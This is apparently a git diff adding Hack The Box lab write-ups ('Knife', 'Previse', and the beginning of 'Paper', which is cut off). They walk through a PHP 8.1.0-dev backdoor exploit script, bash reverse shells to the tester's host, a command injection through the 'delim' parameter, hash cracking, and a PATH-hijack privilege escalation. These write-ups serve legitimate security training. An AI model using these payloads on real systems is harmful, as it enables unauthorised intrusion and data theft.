256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA) + |_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519) + 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) + |_http-title: Emergent Medical Idea + |_http-server-header: Apache/2.4.41 (Ubuntu) + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/63_001.png) + +Here we see that the website is running PHP 8.1.0 so let's look for available exploits: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~] + → searchsploit php 8.1.0 + PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Knife] + → cp /usr/share/exploit-database/exploits/php/webapps/49933.py . + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Knife] + → vim 49933.py + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Knife] + → cat 49933.py + # Exploit Title: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution + # Date: 23 may 2021 + # Exploit Author: flast101 + # Vendor Homepage: https://www.php.net/ + # Software Link: + # - https://hub.docker.com/r/phpdaily/php + # - https://github.com/phpdaily/php + # Version: 8.1.0-dev + # Tested on: Ubuntu 20.04 + # References: + # - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a + # - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md + + """ + Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/ + Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/backdoor_php_8.1.0-dev.py + Contact: flast101.sec@gmail.com + + An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header. + The following exploit uses the backdoor to provide a pseudo shell ont the host. + """ + + #!/usr/bin/env python3 + import os + import re + import requests + + host = input("Enter the full host url:\n") + request = requests.Session() + response = request.get(host) + + if str(response) == '<****Response [200]>': + print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.") + try: + while 1: + cmd = input("$ ") + headers = { + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", + "User-Agentt": "zerodiumsystem('" + cmd + "');" + } + response = request.get(host, headers = headers, allow_redirects = False) + current_page = response.text + stdout = current_page.split(' <****!DOCTYPE html>',1) + text = print(stdout[0]) + except KeyboardInterrupt: + print("Exiting...") + exit + + else: + print("\r") + print(response) + print("Host is not available, aborting...") + exit + +Now let's try that exploit: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Knife] + → python3 49933.py + Enter the full host url: + http://knife.htb + + Interactive shell is opened on http://knife.htb + Can't acces tty; job crontol turned off. + $ id + uid=1000(james) gid=1000(james) groups=1000(james) + + + +And we got a shell as the james user! Now let's upgrade our shell to a fully interactive TTY: + + + [term1] + [ 10.10.14.68/23 ] [ /dev/pts/15 ] [~/HTB/Knife] + → nc -lvnp 9001 + + [term2] + $ bash -c "bash -i >& /dev/tcp/10.10.14.68/9001 0>&1" + + [term1] + [ 10.10.14.68/23 ] [ /dev/pts/15 ] [~/HTB/Knife] + → nc -lvnp 9001 + Connection from 10.129.111.84:45348 + bash: cannot set terminal process group (893): Inappropriate ioctl for device + bash: no job control in this shell + + james@knife:/$ python3 -c 'import pty; pty.spawn("/bin/bash")' + python3 -c 'import pty; pty.spawn("/bin/bash")' + + james@knife:/$ ^Z + [1] + 269384 suspended nc -lvnp 9001 + + [ 10.10.14.68/23 ] [ /dev/pts/15 ] [~/HTB/Knife] + → stty raw -echo ; fg + [1] + 269384 continued nc -lvnp 9001 + + james@knife:/$ export TERM=screen-256color + james@knife:/$ export SHELL=bash + james@knife:/$ stty rows 40 columns 125 + james@knife:/$ reset + + + +Now with this we have a fully interactive shell to work with. Let's grab the user flag: + + + james@knife:/$ cd ~ + james@knife:~$ pwd + /home/james + james@knife:~$ cat user.txt + b6XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +## **Part 3 : Getting Root Access** + +Now in order to escalate privileges let's run linpeas.sh on the target machine: + + + [term1] + [ 10.10.14.68/23 ] [ /dev/pts/14 ] [~/HTB/Knife] + → cp /home/nothing/HTB/Cap/linpeas.sh . + + [ 10.10.14.68/23 ] [ /dev/pts/14 ] [~/HTB/Knife] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + 10.129.111.84 - - [29/Apr/2022 21:15:53] "GET /linpeas.sh HTTP/1.1" 200 - + + [term2] + james@knife:~$ wget http://10.10.14.68:9090/linpeas.sh -O /tmp/peas.sh + --2022-04-29 19:15:45-- http://10.10.14.68:9090/linpeas.sh + Connecting to 10.10.14.68:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 776167 (758K) [application/x-sh] + Saving to: ‘/tmp/peas.sh’ + + 2022-04-29 19:15:46 (1.05 MB/s) - ‘/tmp/peas.sh’ saved [776167/776167] + + james@knife:~$ chmod +x /tmp/peas.sh + james@knife:~$ /tmp/peas.sh + + + +` ![](prg/63_002.png) + +Looking at the output we see the following: + +![](prg/63_003.png) + +Here we have the knife binary file which can be ran as root by the user james without any password, so let's see what it does: + + + james@knife:~$ /usr/bin/knife --help + Chef Infra Client: 16.10.8 + + Docs: https://docs.chef.io/workstation/knife/ + Patents: https://www.chef.io/patents + + Usage: knife sub-command (options) + -s, --server-url URL Chef Infra Server URL. + --chef-zero-host HOST Host to start Chef Infra Zero on. + --chef-zero-port PORT Port (or port range) to start Chef Infra Zero on. Port ranges like 1000,1010 or 8889-9999 will try all given ports until one works. + -k, --key KEY Chef Infra Server API client key. + --[no-]color Use colored output, defaults to enabled. + -c, --config CONFIG The configuration file to use. + --config-option OPTION=VALUE Override a single configuration option. + --defaults Accept default values for all questions. + -d, --disable-editing Do not open EDITOR, just accept the data as is. + -e, --editor EDITOR Set the editor to use for interactive commands. + -E, --environment ENVIRONMENT Set the Chef Infra Client environment (except for in searches, where this will be flagrantly ignored). + --[no-]fips Enable FIPS mode. + -F, --format FORMAT Which format to use for output. (valid options: 'summary', 'text', 'json', 'yaml', or 'pp') + --[no-]listen Whether a local mode (-z) server binds to a port. + -z, --local-mode Point knife commands at local repository instead of Chef Infra Server. + -u, --user USER Chef Infra Server API client username. + --print-after Show the data after a destructive operation. + --profile PROFILE The credentials profile to select. + -V, --verbose More verbose output. Use twice (-VV) for additional verbosity and three times (-VVV) for maximum verbosity. + -v, --version Show Chef Infra Client version. + -y, --yes Say yes to all prompts for confirmation. + -h, --help Show this help message. + + Available subcommands: (for details, knife SUB-COMMAND --help) + + + +According to the documentation, this [knife](https://docs.chef.io/workstation/knife/) binary is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server. And it has a [gtfobin](https://gtfobins.github.io/gtfobins/knife/#sudo): + + + james@knife:~$ sudo knife exec -E 'exec "/bin/sh"' + # id + uid=0(root) gid=0(root) groups=0(root) + # cat /root/root.txt + a1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the root flag! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/63_graph.png) + diff --git a/Easy/64.md b/Easy/64.md new file mode 100644 index 0000000..0265ea3 --- /dev/null +++ b/Easy/64.md @@ -0,0 +1,624 @@ +# Previse Writeup + +![](img/64.png) + +## Introduction : + +Previse is an easy Linux box released back in August 2021. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.66.66.2/32 ] [ /dev/pts/4 ] [~/HTB] + → sudo vim /etc/hosts + [sudo] password for nothing: + + [ 10.66.66.2/32 ] [ /dev/pts/4 ] [~/HTB] + → cat /etc/hosts | tail -n1 + 10.129.111.192 previse.htb + + [ 10.66.66.2/32 ] [ /dev/pts/4 ] [~/HTB] + → nmap -sCV previse.htb + Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-29 21:49 CEST + Nmap scan report for previse.htb (10.129.111.192) + Host is up (0.037s latency). + Not shown: 998 closed tcp ports (conn-refused) + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA) + | 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA) + |_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519) + 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) + | http-cookie-flags: + | /: + | PHPSESSID: + |_ httponly flag not set + | http-title: Previse Login + |_Requested resource was login.php + |_http-server-header: Apache/2.4.29 (Ubuntu) + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 8.47 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 so let's investigate it: + +![](prg/64_001.png) + + + [ 10.66.66.2/32 ] [ /dev/pts/4 ] [~/HTB] + → gobuster dir -t 50 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://previse.htb/ -x php,txt,html,css,js,pdf + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://previse.htb/ + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Extensions: txt,html,css,js,pdf,php + [+] Timeout: 10s + =============================================================== + 2022/05/01 15:09:49 Starting gobuster in directory enumeration mode + =============================================================== + /files.php (Status: 302) [Size: 4914] [--> login.php] + /header.php (Status: 200) [Size: 980] + /nav.php (Status: 200) [Size: 1248] + /login.php (Status: 200) [Size: 2224] + /download.php (Status: 302) [Size: 0] [--> login.php] + /footer.php (Status: 200) [Size: 217] + /index.php (Status: 302) [Size: 2801] [--> login.php] + /css (Status: 301) [Size: 308] [--> http://previse.htb/css/] + /status.php (Status: 302) [Size: 2966] [--> login.php] + /js (Status: 301) [Size: 307] [--> http://previse.htb/js/] + /logout.php (Status: 302) [Size: 0] [--> login.php] + /accounts.php (Status: 302) [Size: 3994] [--> login.php] + /config.php (Status: 200) [Size: 0] + /logs.php (Status: 302) [Size: 0] [--> login.php] + + + +Now let's visit **http://previse.htb/accounts.php** and intercept it with burpsuite: + +![](prg/64_002.png) ![](prg/64_003.png) + +Now here we see something strange, the response we get is a 302 redirection, but the page it is supposed NOT to show gets displayed anyway: + +![](prg/64_004.png) + +So instead let's just intercept the request, and and also intercept the response to this request: + +![](prg/64_005.png) ![](prg/64_006.png) ![](prg/64_007.png) + +Then once you click forward, you can create a user: + +![](prg/64_008.png) + +Then just login: + +![](prg/64_009.png) + +Then we can download the website files: + +![](prg/64_010.png) + +Here we see that we can download a backup of the website, but also upload files: + +![](prg/64_011.png) + +So first let's downlaod the website backup: + + + [ 10.66.66.2/32 ] [ /dev/pts/6 ] [~/HTB/Previse] + → mv ~/Downloads/siteBackup.zip . + + [ 10.66.66.2/32 ] [ /dev/pts/6 ] [~/HTB/Previse] + → mkdir www + + [ 10.66.66.2/32 ] [ /dev/pts/6 ] [~/HTB/Previse] + → mv siteBackup.zip www + + [ 10.66.66.2/32 ] [ /dev/pts/6 ] [~/HTB/Previse] + → cd www + + [ 10.66.66.2/32 ] [ /dev/pts/6 ] [HTB/Previse/www] + → unzip siteBackup.zip + Archive: siteBackup.zip + inflating: accounts.php + inflating: config.php + inflating: download.php + inflating: file_logs.php + inflating: files.php + inflating: footer.php + inflating: header.php + inflating: index.php + inflating: login.php + inflating: logout.php + inflating: logs.php + inflating: nav.php + inflating: status.php + + + +Now let's look at those files to see if there is any system-side command that can be ran:: + + + [ 10.66.66.2/32 ] [ /dev/pts/6 ] [HTB/Previse/www] + → grep -oP 'exec.*' * + logs.php:exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}"); + + + +And here we see that the logs.php file has a line which runs a python script (log_process.py) that takes the **delim** parameter value as arguement. So let's intercept the POST request to that page: + +![](prg/64_012.png) ![](prg/64_013.png) + +Here we see that the webpage took approximately 0.5 second to load. Now let's try to see if we have command execution by running the sleep command: + +![](prg/64_014.png) + +And here we see that we managed to execute a system command, because we manmaged to make it wait one additional second more. So let's try to get a reverse bash shell: + + + delim=comma ; bash -c 'bash -i >& /dev/tcp/10.10.14.68/9001 0>&1' + + + +CTRL+U to url encode it: + + + delim=comma ; bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.68/9001+0>%261' + + + +Then send it: + +![](prg/64_016.png) + +And we have a reverse shell as www-data! Now let's upgrade our reverse shell to a fully interactive TTY: + + + [ 10.10.14.68/23 ] [ /dev/pts/22 ] [~] + → nc -lvnp 9001 + Connection from 10.129.95.185:59414 + bash: cannot set terminal process group (1568): Inappropriate ioctl for device + bash: no job control in this shell + www-data@previse:/var/www/html$ id + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + www-data@previse:/var/www/html$ which python python3 curl wget + which python python3 curl wget + /usr/bin/python + /usr/bin/python3 + /usr/bin/curl + /usr/bin/wget + www-data@previse:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")' + www-data@previse:/var/www/html$ ^Z + [1] + 1698749 suspended nc -lvnp 9001 + + [ 10.10.14.68/23 ] [ /dev/pts/22 ] [~] + → stty raw -echo ; fg + [1] + 1698749 continued nc -lvnp 9001 + export TERM=screen-256color + www-data@previse:/var/www/html$ export SHELL=bash + www-data@previse:/var/www/html$ stty rows 50 cols 200 + www-data@previse:/var/www/html$ reset + + + +Now that we have a fully interactive TTY let's enumerate the host using linpeas.sh: + + + [term1] + [ 10.10.14.68/23 ] [ /dev/pts/6 ] [~/HTB/Previse] + → cp ../Cap/linpeas.sh . + + [ 10.10.14.68/23 ] [ /dev/pts/6 ] [~/HTB/Previse] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + 10.129.95.185 - - [02/May/2022 13:03:29] "GET /linpeas.sh HTTP/1.1" 200 - + + [term2] + www-data@previse:/var/www/html$ wget http://10.10.14.68:9090/linpeas.sh -O /tmp/peas.sh + --2022-05-02 11:03:22-- http://10.10.14.68:9090/linpeas.sh + Connecting to 10.10.14.68:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 776167 (758K) [application/x-sh] + Saving to: '/tmp/peas.sh' + + /tmp/peas.sh 100%[=============================================================================================================>] 757.98K 1.41MB/s in 0.5s + + 2022-05-02 11:03:23 (1.41 MB/s) - '/tmp/peas.sh' saved [776167/776167] + + www-data@previse:/var/www/html$ chmod +x /tmp/peas.sh + www-data@previse:/var/www/html$ /tmp/peas.sh + + + +` ![](prg/64_017.png) + +Looking at linpeas.sh's output we see that there is a mysql database on the server: + +![](prg/64_018.png) + +And when we look at the config.php file we see the mysql password: + + + www-data@previse:/var/www/html$ ls -lash + total 188K + 4.0K drwxr-xr-x 4 www-data www-data 4.0K Jul 26 2021 . + 4.0K drwxr-xr-x 3 root root 4.0K Jul 26 2021 .. + 8.0K -rw-r--r-- 1 www-data www-data 5.6K Jun 12 2021 accounts.php + 16K -rwxrwxr-x 1 www-data www-data 16K Jun 3 2021 android-chrome-192x192.png + 52K -rwxrwxr-x 1 www-data www-data 50K Jun 3 2021 android-chrome-512x512.png + 16K -rwxrwxr-x 1 www-data www-data 14K Jun 3 2021 apple-touch-icon.png + 4.0K -rw-r--r-- 1 www-data www-data 208 Jun 12 2021 config.php + 4.0K drwxr-xr-x 2 www-data www-data 4.0K Jul 26 2021 css + 4.0K -rw-r--r-- 1 www-data www-data 1.6K Jun 9 2021 download.php + 4.0K -rwxrwxr-x 1 www-data www-data 724 Jun 3 2021 favicon-16x16.png + 4.0K -rwxrwxr-x 1 www-data www-data 1.7K Jun 3 2021 favicon-32x32.png + 16K -rwxrwxr-x 1 www-data www-data 16K Jun 3 2021 favicon.ico + 4.0K -rw-r--r-- 1 www-data www-data 1.2K Jun 12 2021 file_logs.php + 8.0K -rw-r--r-- 1 www-data www-data 6.0K Jun 9 2021 files.php + 4.0K -rw-r--r-- 1 www-data www-data 217 Jun 3 2021 footer.php + 4.0K -rw-r--r-- 1 www-data www-data 1012 Jun 6 2021 header.php + 4.0K -rw-r--r-- 1 www-data www-data 551 Jun 6 2021 index.php + 4.0K drwxr-xr-x 2 www-data www-data 4.0K Jul 26 2021 js + 4.0K -rw-r--r-- 1 www-data www-data 2.9K Jun 12 2021 login.php + 4.0K -rw-r--r-- 1 www-data www-data 190 Jun 8 2021 logout.php + 4.0K -rw-r--r-- 1 www-data www-data 1.2K Jun 9 2021 logs.php + 4.0K -rw-r--r-- 1 www-data www-data 1.3K Jun 5 2021 nav.php + 4.0K -rwxrwxr-x 1 www-data www-data 263 Jun 3 2021 site.webmanifest + 4.0K -rw-r--r-- 1 www-data www-data 1.9K Jun 9 2021 status.php + www-data@previse:/var/www/html$ cat config.php + <****?php + + function connectDB(){ + $host = 'localhost'; + $user = 'root'; + $passwd = 'mySQL_p@ssw0rd!:)'; + $db = 'previse'; + $mycon = new mysqli($host, $user, $passwd, $db); + return $mycon; + } + + ?****> + +And we have the mysql credentials! **root:mySQL_p@ssw0rd!:)** + + + www-data@previse:/var/www/html$ mysql -u root -p + Enter password: + Welcome to the MySQL monitor. Commands end with ; or \g. + Your MySQL connection id is 19 + Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu) + + Copyright (c) 2000, 2021, Oracle and/or its affiliates. + + Oracle is a registered trademark of Oracle Corporation and/or its + affiliates. Other names may be trademarks of their respective + owners. + + Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + + mysql> show databases; + +--------------------+ + | Database | + +--------------------+ + | information_schema | + | mysql | + | performance_schema | + | previse | + | sys | + +--------------------+ + 5 rows in set (0.01 sec) + + + +Let's take a look at the previse database: + + + mysql> use previse; + Reading table information for completion of table and column names + You can turn off this feature to get a quicker startup with -A + + Database changed + mysql> show tables; + +-------------------+ + | Tables_in_previse | + +-------------------+ + | accounts | + | files | + +-------------------+ + 2 rows in set (0.00 sec) + + mysql> describe accounts; + +------------+--------------+------+-----+-------------------+----------------+ + | Field | Type | Null | Key | Default | Extra | + +------------+--------------+------+-----+-------------------+----------------+ + | id | int(11) | NO | PRI | NULL | auto_increment | + | username | varchar(50) | NO | UNI | NULL | | + | password | varchar(255) | NO | | NULL | | + | created_at | datetime | YES | | CURRENT_TIMESTAMP | | + +------------+--------------+------+-----+-------------------+----------------+ + 4 rows in set (0.00 sec) + + mysql> select * from accounts; + +----+----------+------------------------------------+---------------------+ + | id | username | password | created_at | + +----+----------+------------------------------------+---------------------+ + | 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 | + | 2 | nihilist | $1$🧂llol$2LVHOe2s.o1uq/rzC1K1A0 | 2022-05-02 10:27:41 | + +----+----------+------------------------------------+---------------------+ + + + +Now here we see that the password field has a weird character in the middle, so to make sure we transfer it correctly to our machine let's use base64: + + + [term1] + mysql> select TO_BASE64(password) from accounts where id=1; + +--------------------------------------------------+ + | TO_BASE64(password) | + +--------------------------------------------------+ + | JDEk8J+ngmxsb2wkRFFwbWR2bmI3RWV1TzZVYXFSSXRmLg== | + +--------------------------------------------------+ + 1 row in set (0.00 sec) + + [term2] + [ 10.10.14.68/23 ] [ /dev/pts/23 ] [~/HTB/Previse] + → vim pass.b64 + + [ 10.10.14.68/23 ] [ /dev/pts/23 ] [~/HTB/Previse] + → cat pass.b64 + JDEk8J+ngmxsb2wkRFFwbWR2bmI3RWV1TzZVYXFSSXRmLg== + + [ 10.10.14.68/23 ] [ /dev/pts/23 ] [~/HTB/Previse] + → cat pass.b64 | base64 -d > pass.hash + + +Now let's use hashcat to crack the hash using the rockyou.txt wordlist: + + + [ 10.10.14.68/23 ] [ /dev/pts/23 ] [~/HTB/Previse] + → hashcat -m 500 -a 0 '$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.' /usr/share/seclists/rockyou.txt + hashcat (v6.2.5) starting + + * Device #1: WARNING! Kernel exec timeout is not disabled. + This may cause "CL_OUT_OF_RESOURCES" or related errors. + To disable the timeout, see: https://hashcat.net/q/timeoutpatch + * Device #2: WARNING! Kernel exec timeout is not disabled. + This may cause "CL_OUT_OF_RESOURCES" or related errors. + To disable the timeout, see: https://hashcat.net/q/timeoutpatch + CUDA API (CUDA 11.6) + ==================== + * Device #1: NVIDIA GeForce RTX 3070 Ti, 4258/7979 MB, 48MCU + + OpenCL API (OpenCL 3.0 CUDA 11.6.127) - Platform #1 [NVIDIA Corporation] + ======================================================================== + * Device #2: NVIDIA GeForce RTX 3070 Ti, skipped + + Minimum password length supported by kernel: 0 + Maximum password length supported by kernel: 256 + + Hashes: 1 digests; 1 unique digests, 1 unique salts + Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates + Rules: 1 + + Optimizers applied: + * Zero-Byte + * Single-Hash + * Single-Salt + + ATTENTION! Pure (unoptimized) backend kernels selected. + Pure kernels can crack longer passwords, but drastically reduce performance. + If you want to switch to optimized kernels, append -O to your commandline. + See the above message to find out about the exact limits. + + Watchdog: Temperature abort trigger set to 90c + + Host memory required for this attack: 1356 MB + + Dictionary cache hit: + * Filename..: /usr/share/seclists/rockyou.txt + * Passwords.: 14344384 + * Bytes.....: 139921497 + * Keyspace..: 14344384 + + Cracking performance lower than expected? + + * Append -O to the commandline. + This lowers the maximum supported password/salt length (usually down to 32). + + * Append -w 3 to the commandline. + This can cause your screen to lag. + + * Append -S to the commandline. + This has a drastic speed impact but can be better for specific attacks. + Typical scenarios are a small wordlist but a large ruleset. + + * Update your backend API runtime / driver the right way: + https://hashcat.net/faq/wrongdriver + + * Create more work items to make use of your parallelization power: + https://hashcat.net/faq/morework + + **$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!** + + Session..........: hashcat + Status...........: Cracked + Hash.Mode........: 500 (md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)) + Hash.Target......: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. + Time.Started.....: Mon May 2 13:22:23 2022 (10 secs) + Time.Estimated...: Mon May 2 13:22:33 2022 (0 secs) + Kernel.Feature...: Pure Kernel + Guess.Base.......: File (/usr/share/seclists/rockyou.txt) + Guess.Queue......: 1/1 (100.00%) + Speed.#1.........: 780.8 kH/s (11.24ms) @ Accel:16 Loops:125 Thr:256 Vec:1 + Recovered........: 1/1 (100.00%) Digests + Progress.........: 7471104/14344384 (52.08%) + Rejected.........: 0/7471104 (0.00%) + Restore.Point....: 7274496/14344384 (50.71%) + Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000 + Candidate.Engine.: Device Generator + Candidates.#1....: ivanisaac -> iarmy + Hardware.Mon.#1..: Temp: 53c Fan: 64% Util: 75% Core:1950MHz Mem:9501MHz Bus:16 + + Started: Mon May 2 13:22:23 2022 + Stopped: Mon May 2 13:22:34 2022 + + + +And we cracked the hash! now let's try to ssh in as the user m4lwhere using that password: + + + [ 10.10.14.68/23 ] [ /dev/pts/23 ] [~/HTB/Previse] + → ssh m4lwhere@previse.htb + The authenticity of host 'previse.htb (10.129.95.185)' can't be established. + ED25519 key fingerprint is SHA256:BF5tg2bhcRrrCuaeVQXikjd8BCPxgLsnnwHlaBo3dPs. + This key is not known by any other names + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added 'previse.htb' (ED25519) to the list of known hosts. + m4lwhere@previse.htb's password: + Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Mon May 2 11:24:33 UTC 2022 + + System load: 0.0 Processes: 177 + Usage of /: 54.7% of 4.85GB Users logged in: 0 + Memory usage: 47% IP address for eth0: 10.129.95.185 + Swap usage: 0% + + + 0 updates can be applied immediately. + + + Last login: Fri Jun 18 01:09:10 2021 from 10.10.10.5 + m4lwhere@previse:~$ id + uid=1000(m4lwhere) gid=1000(m4lwhere) groups=1000(m4lwhere) + m4lwhere@previse:~$ cat user.txt + 23XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to login as the user m4lwhere, and we got the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to get to the root user let's enumerate the box with linpeas.sh, this time as the m4lwhere user: + + + m4lwhere@previse:~$ wget http://10.10.14.68:9090/linpeas.sh -O /tmp/peas.sh + --2022-05-02 11:27:21-- http://10.10.14.68:9090/linpeas.sh + Connecting to 10.10.14.68:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 776167 (758K) [application/x-sh] + Saving to: ‘/tmp/peas.sh’ + + /tmp/peas.sh 100%[===================================================================================>] 757.98K 1.99MB/s in 0.4s + + 2022-05-02 11:27:22 (1.99 MB/s) - ‘/tmp/peas.sh’ saved [776167/776167] + + m4lwhere@previse:~$ chmod +x /tmp/peas.sh + m4lwhere@previse:~$ /tmp/peas.sh + + + +Looking at the output we see the following: + +![](prg/64_019.png) + +And when we run sudo -l we see that our current m4lwhere user can run this script as root: + + + m4lwhere@previse:~$ sudo -l + [sudo] password for m4lwhere: + User m4lwhere may run the following commands on previse: + (root) /opt/scripts/access_backup.sh + + + +So let's see what commands are being ran by that script: + + + m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh + #!/bin/bash + + # We always make sure to store logs, we take security SERIOUSLY here + + # I know I shouldnt run this as root but I cant figure it out programmatically on my account + # This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time + + gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz + gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz + + + +So in this script the gzip command is not being run with the absolute path. So let's create a new gzip bash script: + + + m4lwhere@previse:~$ vim gzip + + m4lwhere@previse:~$ cat gzip + #!/bin/sh + bash -c 'bash -i >& /dev/tcp/10.10.14.68/9002 0>&1' + + m4lwhere@previse:~$ chmod +x gzip + m4lwhere@previse:~$ which gzip + /bin/gzip + m4lwhere@previse:~$ echo $PATH + /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin + + + +Now we want our new gzip file to be ran instead of the default /bin/gzip binary, so let's add the current working directory into the PATH variable: + + + m4lwhere@previse:~$ export PATH=.:$PATH + m4lwhere@previse:~$ echo $PATH + .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin + m4lwhere@previse:~$ which gzip + ./gzip + + + +And now when we run the backup script as the root user we should get reverse shell as the root user on port 9002: + + + [term1] + m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh + + [term2] + [ 10.10.14.68/23 ] [ /dev/pts/24 ] [~/HTB/Previse] + → nc -lvnp 9002 + Connection from 10.129.95.185:59276 + root@previse:~# id + id + uid=0(root) gid=0(root) groups=0(root) + root@previse:~# cat /root/root.txt + cat /root/root.txt + 26XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And there you go! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/64_graph.png) + diff --git a/Easy/65.md b/Easy/65.md new file mode 100644 index 0000000..fd0f3f1 --- /dev/null +++ b/Easy/65.md @@ -0,0 +1,451 @@ +# Paper Writeup + +![](img/65.png) + +## Introduction : + +Paper is an easy box released back in Febuary 2022 + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Paper] + → sudo vim /etc/hosts + [sudo] password for nothing: + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Paper] + → ping paper.htb + PING paper.htb (10.129.136.31) 56(84) bytes of data. + 64 bytes from paper.htb (10.129.136.31): icmp_seq=1 ttl=63 time=24.9 ms + ^C + --- paper.htb ping statistics --- + 1 packets transmitted, 1 received, 0% packet loss, time 0ms + rtt min/avg/max/mdev = 24.883/24.883/24.883/0.000 ms + + [ 10.0.0.10/16 ] [ nowhere ] [~/HTB/Paper] + → nmap -sCV paper.htb + Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-30 20:21 CEST + Nmap scan report for paper.htb (10.129.136.31) + Host is up (0.028s latency). + Not shown: 997 closed tcp ports (conn-refused) + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) + | ssh-hostkey: + | 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA) + | 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA) + |_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519) + 80/tcp open http Apache httpd 